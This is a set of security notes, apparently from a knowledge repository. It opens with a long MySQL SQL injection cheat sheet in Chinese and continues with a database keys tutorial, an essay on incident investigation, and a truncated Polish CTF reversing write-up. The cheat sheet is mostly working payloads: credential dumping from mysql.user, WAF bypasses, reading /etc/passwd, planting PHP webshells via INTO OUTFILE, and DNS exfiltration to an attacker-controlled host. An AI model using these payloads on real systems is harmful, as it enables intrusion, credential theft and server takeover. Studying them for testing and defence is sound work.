## 一、查询数据库信息 mysql 5 联合查询;mysql 4 不支持联合查询。 我们平时在注入中使用UNION查询一般都采用数字匹配字段的方式以达到select_expression的适用条件(即UNION后面查选的字段数量、字段数据类型都应该与最前面SELECT的一样),这是因为数字役属于几乎所有数据类型,因此可以匹配任何字段,HEX编码方式同样役属于几乎所有数据类型。 可以使用很多单双引号,只要是成对出现的。 ``` SELECT * FROM Articles WHERE id = '1'''; SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2'; ``` union select 不能用逗号时,可以用join执行联合查询,即先join 成一个大表,再select 这个大表 `and+1=2+union+SELECT+*+FROM+(select+version())+as+a+join+(select+22)+as+b+join+(select+33)+as+c%23` 下面的符号可以用来注释语句: &#35; Hash 语法(注意浏览器访问时需要编码成%23,否则被当作锚点起始) /* C-style 语法 -- - SQL 语法 --+ Mysql语法 ;%00 空字节 ` 反引号 Mysql中,`/*! SQL 语句 */` 这种格式里面的 SQL 语句会当正常的语句一样被解析。 如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:`/*! 12345 SQL 语句 */` 当版本号大于等于该数字,SQL 语句则执行,否则就不执行。 `UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+` `SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);` 允许的字符: 09 Horizontal Tab 0A New Line 0B Vertical Tab 0C New Page 0D Carriage Return A0 Non-breaking Space 20 Space 例子:`'and%0A%09UNION%0CSELECT%A0NULL%20%23` 括号也可以用来绕过过滤空格的情况: 28 ( 29 ) 例子:`UNION(SELECT(column)FROM(table))` AND或OR后面可以跟的字符: 20 Space 2B + 2D - 7E ~ 21 ! 40 @ 例子:`SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))` dual 是一个虚拟表,可以用来做测试。 注意: where a_exp or b_exp 中如果 a_exp is true 是不会计算 b_exp 的,如果 a_exp is false,那 b_exp 执行且执行的次数跟表的条目有关,即如果 b_exp 是 sleep(2),而表有3个条目,将睡眠6s 后返回。 where a_exp and b_exp 中如果 a_exp is false 是不会计算 b_exp 的,如果 a_exp is true,那 b_exp 执行且执行的次数跟表的条目有关,即如果 b_exp 是 sleep(2),而表有3个条目,将睡眠6s 后返回。 测试时尽量不用 or 1=1, 如果sql 语句是执行update 或者delete,容易造成数据变更。 在没有加() 等其他符号时, and 和 or 一起出现先计算 and,为了绕过对 and / or 的过滤,可以使用 rlike 等关键字,比如 `where 11=11 rlike sleep(10)#`。 `?id=1%27%20AnD%201=2%20OR%20if(now()%3dsysdate()%2csleep(3)%2c0)%20And%20%271%27=%271` 查询information_schema(>=5.0 才存在,mysql5.0以下需要字典猜表)、mysql 数据库的信息(需要root权限,表名、列名、对应权限等) mysql.user、information_schema.schemata、information_schema.tables、information_schema.columns、 information_schema.user_privileges `SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)` 使用CONCAT()时,任何一个参数为null,将返回null, 推荐使用CONCAT_WS()。 CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。 `SELECT database();` `SELECT group_concat(schema_name) FROM information_schema.schemata;` `SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)` `UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;--` MySQL 4版本时用version=9,MySQL 5版本时用version=10 `UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename';` `union select concat(grantee,0x3a,privilege_type,0x3a,is_grantable) from information_schema.user_privileges` //权限 `SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';` 查询版本,用户,操作系统等 ``` http://www.qq.com/1.php?id=-1 union select 1,2,3,4,@@datadir,6,7,8,9,10,11,12,13,14 http://www.qq.com/1.php?id=-1 union select 1,2,3,4,group_concat(version(),0x3a,database(),0x3a,user()),6,7,8,9,10,11,12,13,14 http://www.qq.com/1.php?id=-1 union select 1,2,3,4,@@datadir,6,7,8,9,10,11,12,13,14 http://www.qq.com/1.php?id=-1 union all select 1,unhex(hex(@@version)),3/* http://www.qq.com/1.php?id=5 and substring(@@version,1,1)=4 ``` 如果MySQL的版本是4,这应该返回TRUE. 用5替换4,并且,如果返回的查询匹配则版本为5 ``` http://www.qq.com/1.php?id=5 and substring(@@version,1,1)=5 http://www.qq.com/1.php?id=5 AND MID(VERSION(),1,1) = '5'; http://www.qq.com/1.php?id=5 AND ord(MID(VERSION(),1,1)) = 53; ``` --------------------------------------------------------------------------------------------------------- ### 内置变量列表 @@version VERSION() @@GLOBAL.VERSION 版本 @@datadir 路径 @@basedir @@version_compile_os @@have_openssl 如果mysqld支持客户端/服务器协议的SSL(加密)则为YES @@version_compile_os 判断系统类型 @@max_allowed_packet 包或任何生成的/中间字符串的最大大小 @@max_user_connections MySQL账户允许的最大同时连接数,0表示没限制 @@skip_networking 如果服务器只允许本地(非TCP/IP)连接,该值为ON @@table_type 默认表类型(存储引擎) @@basedir MySQL安装基准目录 @@character_set_database 默认数据库使用的字符集 @@datadir 数据库存储的地方 @@expire_logs_days 二进制日志自动删除的天数,默认是0,表示"没有自动删除" @@group_concat_max_len 允许group_concat()函数结果的最大长度 @@log_error 错误日志的位置 @@lower_case_file_system 该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.ON说明对文件名的大小写不敏感,OFF表示敏感 @@lower_case_table_names 如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.如果设置为2,按照指定的保存表名,但按照小写来比较 @@plugin_dir 插件目录的路径 @@tmpdir 保存临时文件和临时表的目录 @@tmp_table_size 如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表 @@sql_mode 当前服务器的sql模式 @@tx_isolation 默认事务隔离级别.默认值为REPEATABLE-READ @@Connections 连接mysql数据库服务器的次数(不管成功还是失败) @@max_write_lock_count 最大写锁数量 @@old_passwords 是否启用mysql323加密方式(就是mysql用户密码的hash是16位的) @@Uptime 服务器已经运行的时间 通过id=instr(@@global.version,1)来获取global变量。@@global包含很多敏感信息,过滤了ascii,substr函数,仍可用instr来盲注。 ------------------------------------------------------------------------------------------------------- ### 可回显注入 从information_schema.columns可以查table_schema、table_name、column_name 库 `union select unhex(hex(group_concat(schema_name))) from information_schema.schemata` 表 `union select unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=0x(数据库名对应的十六进制)` 字段 `union select unhex(hex(group_concat(column_name))) from information_schema.columns where table_schema=0x(数据库名对应的十六进制) and table_name=0x(表名对应的十六进制)` 查询数据(实例) `union select 1,2,3,4,concat(username,0x3a,password),6 from admin.users` //获取到表、字段后,就可以查询所需信息了,如查询users库的admin表的用户名和密码 插入数据(不用引号) ``` INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) ``` insert/update/delete 语句中注入 `or updatexml(1,concat(0x7e,(version())),0) or` e.g INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'ohmygod_is_r00tgrok'); `or extractvalue(1,concat(0x7e,database())) or` e.g UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or '' WHERE id=2 and username='Pseudo_Z'; DELETE FROM users WHERE id=1 or extractvalue(1,coat(0x7e,database())) or ''; ------------------------------------------------------------------------------------------------------------ ### 盲注查询 #### BENCHMARK() (M) Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast! BENCHMARK(howmanytimes, do this) Real World Samples Are we root ? woot! `IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))` Check Table exist in MySQL `IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))` #### sleep(seconds) (M) Sleep for supplied seconds. `SELECT sleep(10); ` Sleep 10 seconds. `and%20(select*from(select(sleep(10)))a)--` 注意 sleep/benchmark 函数执行完返回值是 0,故 if(now()=sysdate(),sleep(duration),0) 返回值肯定是0。 #### More Timing in MySQL `select benchmark( 500000, sha1( 'test' ) );` `query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1` `select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); ` Enumeration data, Guessed Brute Force `select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );` ``` -if(now()=sysdate(),sleep(duration),0)/*'XOR(if(now()=sysdate(),sleep(duration),0))OR'"XOR(if(now()= sysdate(),sleep(duration),0))OR"*/ ``` 上面这条payload 在参数是 数字或者字符串(单双引号)的情形下都是适用的。 ``` SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(), concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1) ``` 上面这条用于 order by limit 之后的timing注入,注意这里不能用sleep函数。 #### Out of Band Channel Attacks 原理:使用unc路径,会对指定的域名进行dns查询,使用dns信道,配合dns服务器收到的数据可快速得到数据内容。 使用dns有一定的好处,可以突破主机网络隔离,例如dmz主机不能直接连外网,但是配置的网络可达的dns服务器往往可以,通过查询域名递归的方式,dns服务器可以将返回数据通过dns协议带出去。 unc路径是windows下的特性,默认安装的linux下不存在这样的功能。 ![](../pictures/sqlmap15.png) 1)受害主机执行一条特定payload语句,将数据和指定域名拼接,向dns server发送dns请求 2)dns server因为没有记录这个域名所对应的ip,递归向上层dns server请求 3)直到递归请求到有这个根域名记录的根dns server(一般为域名注册商),返回给最初的dns server可以去找这个代号为2的dns server解析 4)这个代号为2的dns server是hacker伪造的,所以hacker可以收到传过来的dns请求,从中剥离数据 `?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), '.yourhost.com\\'))) ` Makes a NBNS query request/DNS resolution request to yourhost.com `?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')` Writes data to your shared folder/file {INJECTION} = You want to run the query. 查版本: `id=1 and (select case when(select substring(version(),1,1) > 4) then 1 else 1*(select 1 union select 2)end)=1` 查当前MySQL用户名长度: `id=1 and (select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1` 查当前MySQL用户名第一个字符内容: `id=1 and (select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1` `id=5 and ascii(substring((select concat(username, 0x3a, passwd) from users limit 0,1), 1,1)) > 64` /&#42;可利用二分法判断&#42;/ 查数据库长度 `http://172.16.196.23//noruletest/sql.php?id=1 and+length(database())=12%23` 查询首字母、第二个字母等等 `http://172.16.196.23//noruletest/sql.php?id=1 and+left(database(),1)='d'%23` `http://172.16.196.23//noruletest/sql.php?id=1 and+left(database(),2)='db'%23` 盲注也可以借助正则 regexp,更有效率。 注意:group by, order by, having 后面都可以接 and、or 。 --------------------------------------------------------------------------------------------------------------- ### 报错注入 #### order by 报错 注意这里的 order by 1,1 表示select 中的第一列,group by 1 同理。但 select 1, 2, 3 类似这些表示的是数字1,2,3。 order by &#96;id&#96;,2,3 被反引号括起来的只能是具体列名。 Finding how many columns in SELECT query by ORDER BY Finding column number by ORDER BY can speed up the UNION SQL Injection process. ORDER BY 1-- ORDER BY 2-- ORDER BY N-- so on Keep going until get an error. Error means you found the number of selected columns. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. 1' GROUP BY 1,2,3,4,5--+ Unknown column '4' in 'group statement' 1' ORDER BY 1,2,3,4,5--+ Unknown column '4' in 'order clause' 先使用order by 找到select 语句的列数(可以使用二分查找缩短查找时间),遍历列位置替换成md5(),如 `union select 1,2,md5("123232"),4`,看返回是否是md5 函数执行之后的字符串,当满足某一列的类型是字符串时就会回显成功。 #### order by limit 所以如果注入点前面没有order by 关键字,就可以顺利的使用union 关键字,如果有只能用此种办法,但使用analyse()只能5.0.0<mysql<5.6.6的版本 ``` mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(), concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1' ``` #### 字符集问题 mysql 在存储数据的时候会根据当前数据库的字符集来校验数据,发现非法数据时会抛弃其后续数据。 当表的字符集是utf8_general_ci 时,测试SQL:`Insert into table values (concat('ab', 0x80, 'cd'))`,因为0x80不是有效的UTF-8字符,所以只有ab被写入数据库中,cd会被截断。 当表的字符集是gbk_chinese_ci 时,测试SQL:`Insert into table values (concat('ab', 0x8027, 'cd'))`,因为0x8027不是有效的gbk字符,所以只有ab被写入数据库中,cd会被截断。 #### floor rand 报错 RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. 也就是说在 group by 查询以及插入临时表时都会计算 rand(),如果两次结果不一样,就会出错。 ``` http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,count(*), concat((select email_id from emails where id=5),0x2a,floor(rand(0)*2))x from users group by x--+ ``` #### bigint 报错 我们知道,如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1,举例来说,如果我们对类似 `(select*from(select user())x)` 这样的查询进行逻辑非的话,返回值就是1,对 0 取反得到无符号的最大BIGINT值,1 减去最大 bigint 值导致 BIGINT value is out of range 错误。 `http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#` #### extractvalue, updatexml 报错 `and 1=(updatexml(1,concat(0x3a,(select user())),1))` `and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));` ## 二、读文件 ### 判断权限 `and (select count(*) from mysql.user)>0` /&#42; 返回正常,说明有读写权限(file_priv权限) `and (select count(*) from mysql.user)>0` /&#42; 返回错误则无 (超级用户的系统文件无法读,超过大小的文件无法读,只有php+mysql的需要考虑魔术引号) load_file() 函数(win系统的C:\boot.ini) - 文件必须在服务器上。 - LOAD_FILE()函数操作文件的当前目录是@@datadir 。 - 需要连接数据库的用户有file_priv 权限,且启动mysqld 用户必须拥有对此文件读取的权限。 - 如果secure_file_priv非空,则只能读取对应目录下的文件 > For security reasons, when reading text files located on the server, the files must either reside in the database directory or be readable by all. Also, to use LOAD DATA INFILE on server files, you must have the **FILE privilege**. - 文件大小必须小于 max_allowed_packet。 - @@max_allowed_packet的默认大小是1047552 字节. `test.php?id=1'/**/union/**/select/**/1,load_file('c:/boot.ini')` //magic_quotes_gpc = off `test.php?id=1'/**/union/**/select/**/1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))` //magic_quotes_gpc = on/用ascii 编码下即可 `test.php?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*` //magic_quotes_gpc = on/用16进制即可 `load_file(0x2f6574632f706173737764)` (*nix系统的/etc/passwd) id=1 and(select &#96;load_file&#96;(0x2f6574632f706173737764)>0x726f66) # 由于mysql 语法特性&#96;函数名&#96;()等价于函数名() ### mysql 3.x ``` mysql>create table a (cmd text); mysql>load data infile 'c:\\boot.ini' into table a; mysql>select * from a; mysql>create table potatoes(line blob); mysql>union select 1,1, hex(load_file('/etc/passwd')), 1,1 into dumpfile '/tmp/potatoes'; mysql>load data infile '/tmp/potatoes' into table potatoes; ``` ### mysql 4.x 同上 ### mysql 5.x `mysql>system cat /etc/passwd` ## 三、写文件 需要连接数据库的用户有file_priv 权限,且启动mysqld 的用户对目录需要有写权限,需要物理路径(爆路径漏洞或phpinfo),不存在重名文件,不过滤`'"`(因为没有办法编码路径名),如果secure_file_priv非空,则写入文件的目录只能为对应目录下。注意:普通用户创建的文件默认权限是 644,但如php/jsp/asp 这些脚本是不需要可执行权限就能访问而被执行的,如 perl/python/bash/c++ 等写成的cgi 是需要可执行权限才能执行的。 `test.php?id=1 union select 1,2,3,4,"<?php @eval($_POST[cmd])?>",6 into outfile "/var/www/shell.php"` `test.php?id=1 union select 1,2,3,4,"<?php @eval($_POST[cmd])?>",6 into dumpfile "/var/www/shell.php"` `SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'` FIELDS TERMINATED BY 原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句: `SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e` 写入的文件中只包含username的值而没有webshell内容; LINES TERMINATED BY和LINES STARTING BY原理为在输出每条记录的结尾或开始处插入webshell内容,所以即使只查询一个字段也可以写入webshell内容,更为通用。此外,该类方式可以用于limit等不能union的语句之后进行写文件操作。 dumpfile与outfile函数区别 SELECT into outfile :可以导出每行 SELECT into dumpfile :只能导出一行(将目标文件写入同一行内) into outfile不可导出二进制文件,文件会被破坏,转义等 into dumpfile可导出完整可执行二进制文件 into outfile:导出内容 into dumpfile:导出二进制文件 ## 四、直接写exe,dll文件提权 MYSQL只要数据能在对应数据类型的列中完整存储,就可以导出任意文件名的完整文件。也就是说,我们把二进制文件用HEX()编码后可以存储在TEXT数据类型等非二进制编码的字段上,导出时UNHEX()解码依然能保存为完整的二进制文件。如 ``` mysql>create table a (id int,cmd TEXT); mysql>insert into a (id,cmd) values (1,hex(load_file('c:\\windows\\system32\\regedt32.exe'))); mysql>select unhex(cmd) FROM a where id =1 INTO DUMPFILE 'd:\\regedt32.exe'; ``` 语句中unhex(cmd)已经改变了所选字段的数据类型为二进制,因此可以导出完整的二进制文件,而在注入中我们用UNION连接SELECT语句时,UNION后面查询的字段数量、字段数据类型都得与最前面的SELECT一样,此时 `SELECT cmd FROM a where id=1 and 1=2 UNION SELECT unhex(cmd) FROM a INTO DUMPFILE 'd:\\regedt32.exe';` 语句中unhex(cmd)字段的数据类型与最前面的cmd字段的数据类型不同,二进制编码的数据无法在TEXT数据类型中完整储存,因此无法导出完整的二进制文件。要导出完整的二进制文件,最前面SELECT所选的字段中必须有以二进制存储数据的数据类型,如BLOB,LONGBLOB等。 如果使用INTO DUMPFILE导出数据,则MySQL只把一行写入到文件中,不对任何列或行进行终止,也不执行任何转义处理。INTO DUMPFILE 的这个特性说白了就是“无缝连接”,它既可以用于从列中导出数据到文件,也可以用于从表中导出数据到文件。 UNHEX()函数执行从HEX()的反向操作,0x 作用与UNHEX()意义相同。就是说,它将参数中的每一对十六进制数字理解为一个数字,并将其转化为该数字代表的字符,结果字符以二进制字符串的形式返回。 ## 五、mysql 的类型隐式转换 ``` mysql> SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b'; +--------+----------+--------------------+ | userid | username | password | +--------+----------+--------------------+ | 1 | admin | MySuperS3cretPass! | +--------+----------+--------------------+ 1 row in set, 7 warnings (0.00 sec) mysql> SELECT * FROM users WHERE username = 'a'+'666' AND password = 'a'+'b'; +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 2 | 666admin | nataSmaI | +--------+----------+----------+ ``` 加号在这里是算术运算符,故会产生类型转换为double,如下引用所示: > When an operator is used with operands of different types, type conversion occurs to make the operands compatible. In all other cases, the arguments are compared as floating-point (real) numbers. 这是一条绕过 WAF 的 vector。 ## Reference [sql-injection-cheat-sheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) [Implicit type conversion in MySQL](https://tom.vg/2013/04/mysql-implicit-type-conversion/) [sql_injection](http://websec.ca/kb/sql_injection)
sec-knowleage
# 主键和外键 --- **SQL 的主键和外键的作用** 简而言之,SQL 的主键和外键就是起约束作用。 关系型数据库中一条记录中有若干个属性,若其中某一个属性组(注意是组)能唯一标识一条记录,该属性就可以成为一个主键。例如: ``` 学生表(学号,姓名,性别,班级) ``` 其中每个学生的学号是唯一的,学号就是一个主键; ``` 课程表(课程编号,课程名,学分) ``` 其中课程编号是唯一的,课程编号就是一个主键; ``` 成绩表(学号,课程号,成绩) ``` 成绩表中单一一个属性无法唯一标识一条记录,学号和课程编号的组合才可以唯一标识一条记录,所以学号和课程编号的属性组是一个主键。 成绩表中的学号不是成绩表中的主键,但它和学生表中的学号相对应,并且学生表中的学号是学生表的主键,则称成绩表中的学号是学生表的外键;同理,成绩表中的课程号是课程表的外键。 定义主键和外键主要是为了维护关系数据库的完整性,总结一下: 1. 主键是能确定一条记录的唯一标识。比如,一条记录包括身份证号码,姓名,年龄。身份证号码是唯一确认你这个人的,其他的都可能有重复,所以身份证号码是主键。 2. 外键用于与另一张表相关联。是能确认另一张表记录的字段,用于保持数据的一致性。比如,A 表中的一个字段,是 B 表的主键,那它就可以是 A 表的外键。 外键取值规则:空值或参照的主键值 1. 插入非空值时,如果主键值中没有这个值,则不能插入。 2. 更新时,不能改为主键表中没有的值。 3. 删除主键表记录时,可以在建外键时选定外键记录一起联删除还是拒绝删除。 4. 更新主键记录时,同样有级联更新和拒绝执行的选择。 **主键、外键和索引的区别** 定义: - 主键:唯一标识一条记录,不能有重复,不允许为空。 - 外键:表的外键是另一表的主键,外键是可以有重复的,可以是空值。 - 索引:该字段没有重复值,但可以有一个空值。 作用: - 主键:用来保证数据完整性 - 外键:用来和其他表建立联系用 - 索引:用来提高查询排序的速度 个数: - 主键:主键只能有一个。 - 外键:一个表可以有多个外键。 - 索引:一个表可以有多个唯一索引。 **创建 SQL 的主键和外键约束的方法** 如果在表创建好了以后再加约束,则格式分别为 ```sql --主键 ALTER TABLE 表名 --"PK"为主键的缩写,字段名为要在其上创建主键的字段名,"PK_字段名"就为约束名 ADD CONSTRAINT PK_字段名 --同上 PRIMARY KEY(字段名) ``` ```sql --唯一约束 ALTER TABLE 表名 ADD CONSTRAINT UQ_字段名 UNIQUE(字段名) ``` ```sql --外键约束 ALTER TABLE 表名 --"FK"为外键的缩写 ADD CONSTRAINT FK_字段名 FOREIGN KEY(字段名) REFERENCES 关联的表名(关联的字段名) --举个例子 ALTER TABLE 表A ADD CONSTRAINT FK_B FOREIGN KEY(TicketNo) REFERENCES 表B(TicketNo) ``` ```sql --级联更新,级联删除,这样在删除主表Student时,成绩表中该学生的所有成绩都会删除 ALTER TABLE 成绩表 ADD CONSTRAINT FK_StudentNo FOREIGN KEY(StudentNo) REFERENCES Student(StudentNo) ON UPDATE CASCADE ON DELETE CASCADE ``` ```sql --检查约束 ALTER TABLE 表名 ADD CONSTRAINT CK_字段名 --括号中的"CK_字段名>0"为条件表达式,用关系运算符连接 CHECK(字段名>0) --默认值约束 ALTER TABLE 表名 ADD CONSTRAINT DF_字段名 --其中的'默认值'为想要设置的默认值,注意'FOR' DEFAULT '默认值' FOR 字段名 --删除创建的约束 ALTER TABLE 表名 --约束名为前面创建的如:FK_字段名这样的约束名 DROP CONSTRAINT 约束名 --注意:如果约束是在创建表的时候创建的,则不能用命令删除 --只能在'企业管理器'里面删除 ``` 获取 SqlServer 中的表结构 ```sql SELECT syscolumns.name,systypes.name,syscolumns.isnullable,syscolumns.length FROM syscolumns,systypes WHERE syscolumns.xusertype = systypes.xusertype AND syscolumns.id = OBJECT_ID('Student') ``` 单独查询表递增字段 ```sql SELECT [NAME] FROM syscolumns WHERE id = OBJECT_ID(N'Student') AND COLUMNPROPERTY(id,name,'IsIdentity')=1 ``` 获取表主外键约束 ```sql EXEC sp_helpconstraint 'Student' ``` 查询表主键外键信息 ```sql SELECT sysobjects.id AS objectId, OBJECT_NAME(sysobjects.parent_obj) AS TableName, sysobjects.name AS constraintName, sysobjects.xtype AS constraintType, syscolumns.name AS columnName FROM sysobjects INNER JOIN sysconstraints ON sysobjects.xtype IN('C','F','PK','UQ','D') AND sysobjects.id = sysconstraints.constid LEFT OUTER JOIN syscolumns ON sysconstraints.id = syscolumns.id WHERE OBJECT_NAME(sysobjects.parent_obj) = 'Student' ``` --- **Source & Reference** - [SQL的主键和外键的作用](https://www.jianshu.com/p/394f8aa724f4)
sec-knowleage
--- title: 关于数据驱动事件调查的思考 tags: - 安全之路 - 安全综合 - 安全数据分析 - 事件调查 - 数据驱动 --- # 关于数据驱动事件调查的思考 *基于事件调查的分析能力提升* 在实际的情况下,各种安全设备、系统会产生海量的数据。对于企业来说,很重要的一件事情,就是要从这些疑似的安全告警中,根据一些模型和算法提取有价值的安全事件。 众所周知,传统的安全设备,往往都是以特征检查为主,模型检查的能力受限(短时间窗口),也比较弱。那么,在这个基础之上,我们需要做的一件事,就可以是写好确定的分析模型,这个分析模型需要结合安全方面的专家经验,也需要结合数据分析、机器学习学习技术(比如异常检测)。 模型可以帮助我们以一个效率更高的方式对告警数据做一个初步的判断,把人工经验转化为了机器脚本去执行。但模型偏向于的单个能力的检查。比如模型能检查钓鱼邮件行为,但却不能梳理出一个APT事件。因为对于模型,我们的定义是让其做好特征检查做不到的事情,但没有要求它能到一个完整事件的梳理。 此时我们就可以引入分析能力这个概念。分析能力所涵盖的事情,是基于事件而设计的,而不是单个能力的检查。在基于数据驱动的应急响应过程中,分析师所需要做的,简单来说就是从数据(告警、流量等)中找到一个真实的入侵事件,而事件包含的内容则可以参考3W1H(Who When What How)。而这个找3W1H的过程,我们在经过特征、模型这两个阶段后,已经能对单方面攻击行为有一个初步的筛选了,比如某某IP在某某时间,对某某资产进行了XXX攻击。也就是,经过了特征和模型两个阶段,我们对3W初步进行了解决。但还剩下1H,攻击者是如何做到这个攻击的,并且要对3W做更精准的研判。 此时,我们的分析平台就可以来亮相了。分析平台单从技术上来说,它应该具备上面我们所受的分析能力,并且这是它的核心。同时,作为一个与用户直接接触的平台,它还承担着业务能力、管理能力等其他产品方向的功能。 那么,分析平台的分析能力如何体现呢? 我们先来看一个人类分析师需要做哪些事情。首先,他需要对入侵事件进行调查,这是首要的。入侵调查后,我们可以得出一个围绕3W1H的报告。然后,他需要基于这个事件做一个风险点识别(从更大的角度,哪里出的问题体现了系统的哪个方面有问题),做一个风险处置(如何让这个风险点不再造成危害)。 回到我们刚刚到问题,分析平台的分析能力,应该如何区别于特征和模型呢?对应上面对人类分析师所做之事的简单概括,我们可以知道,分析能力这项核心能力的体现,是要在一个更大的层面,即不再局限于某个事件,而是把多个事件整合起来,产出**Knowledge**。这个Knowledge可以由很多形式展现,以下列举几个我个人认为的: - 同源分析 - 事件归并 - 攻击评估 - 攻击者画像 - 攻击者能力 - 攻击者行为 - TTPs(技战术组合)提炼 - 威胁趋势、预测 - 威胁狩猎 所以,我们基于事件调查所进行的分析能力提升,总体来说是这三个阶段:特征——模型——分析。目前,特征阶段已经比较成熟,但覆盖率和精准率还有待提升。模型阶段,目前比较好的方案是结合安全方面专家能力和机器学习算法,在某个攻击行为上,检测的覆盖率和精准率已经挺不错了,但因为攻击、漏洞的千变万化,以及各种组合和绕过,网络环境和生产环境的错综复杂,使得复杂情况下的检测情况不是很完美。而分析阶段,目前不管是商业化的还是开源的,还是学术届的研究,只能说是一个对分析师的辅助,大多是工具性质,只能进行半自动化的利用。 未来就在眼前,把握机会。
sec-knowleage
## License 100 (re, 100p) ### PL [ENG](#eng-version) Dostajemy [program](./license) (elf), do analizy, i rozpoczynamy czytanie kodu. Program otwiera plik (domyślamy sie że z tytułową licencją), wykonuje serię operacji/sprawdzeń, i jeśli coś mu się nie podoba na którymś kroku, wypisuje błąd i skończy działanie. .text:00000000004009C7 mov edi, offset a_aBC_ ; "_a\nb\tc_" ... .text:00000000004009EE call _fopen Jak widać, nazwa pliku jest dość nietypowa. Nie jest to nic czego linux nie osiągnie, ale praca z plikiem o takiej nazwie jest dość nieprzyjemna. Z tego powodu plik nazwaliśmy "kot" i spatchowaliśmy binarkę z programem (tak że otwierał plik o nazwie "kot"). Pierwszy check - jeśli otworzenie pliku albo czytanie z niego się nie powiedzie, program kończy działanie. Drugi check - wykonywana jest skomplikowana operacja na długości pliku, która po chwili reversowania sprowadza się do: if (-45235*x*x*x*x + -1256*x*x*x + 14392*x*x + -59762*x - 1949670109068 + 44242*x*x*x*x*x == 0) { // ok } else { // koniec programu } Gdzie x to ilość bajtów w pliku licencji. W celu rozwiązania tego równania pytamy naszego niezastąpionego pomocnika, WolframAlpha. Rozwiązaniem jest x = 34. Następnie następuje długa pętla dzieląca plik wejściowy na linie i zliczająca znaki nowej linii, a później: if (linesInFile == 5) { // ok } else { // koniec programu } Jako że wszystkie linie mają taką samą długość (co można zaobserwować w kodzie), Można z tego łatwo wyliczyć że każda linia musi mieć 6 znaków (6 * 5 znaków w linii + 4 znaki '\n') Następnie następuje długie sprawdzenie, w pythonie wyglądałoby na przykład tak (word1, word2... to odpowiednio pierwsza, druga... linia z pliku) result = 'iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW' # stała zaszyta w programie w23 = '\x23\x23\x23\x23\x23\x23' level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] level4 = xor(word3, level5) assert level1 == xor(word1, word2) assert level2 == xor(xor(word2, word4), w23) assert level3 == xor(word3, word4) assert level4 == xor(xor(word5, word4), w23) assert level5 == xor(level4, word3) Wszystkie operacje tutaj są odwracalne, więc po chwili mamy kod tworzący poprawny plik z licencją: level1 = result[0:n] level2 = result[n:2*n] level3 = result[2*n:3*n] level5 = result[3*n:4*n] w23 = '\x23\x23\x23\x23\x23\x23' word4 = result[4*n:5*n] word3 = xor(word4, level3) word2 = xor(xor(word4, w23), level2) word1 